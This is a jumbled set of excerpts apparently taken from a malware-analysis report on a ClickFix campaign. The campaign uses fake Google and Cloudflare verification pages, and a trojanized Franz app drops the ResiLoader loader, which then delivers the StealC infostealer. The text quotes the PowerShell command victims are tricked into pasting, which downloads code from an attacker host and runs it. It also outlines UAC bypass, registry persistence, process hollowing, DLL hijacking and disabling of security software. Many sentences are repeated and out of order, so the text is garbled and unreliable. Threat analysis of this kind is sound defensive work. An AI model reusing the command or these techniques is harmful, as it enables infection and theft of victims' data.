ResiLoader

The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

If task.e is present, it executes eval(task.e) ; it allows the attacker to execute arbitrary JavaScript code.

ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices.

For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer.

Obtaining persistence using app.setLoginItemSettings .

Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique

Obtaining persistence using app.setLoginItemSettings .

Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key

Perform UAC bypass via ICMLuaUtil Elevated COM Interface.

Perform UAC bypass via ICMLuaUtil Elevated COM Interface.

In this case, the HTML page is obfuscated by declaring several variables and XORing them.

In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer.

In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe

For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer.

Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP.

ResiLoader, which disables security software before deploying the StealC infostealer.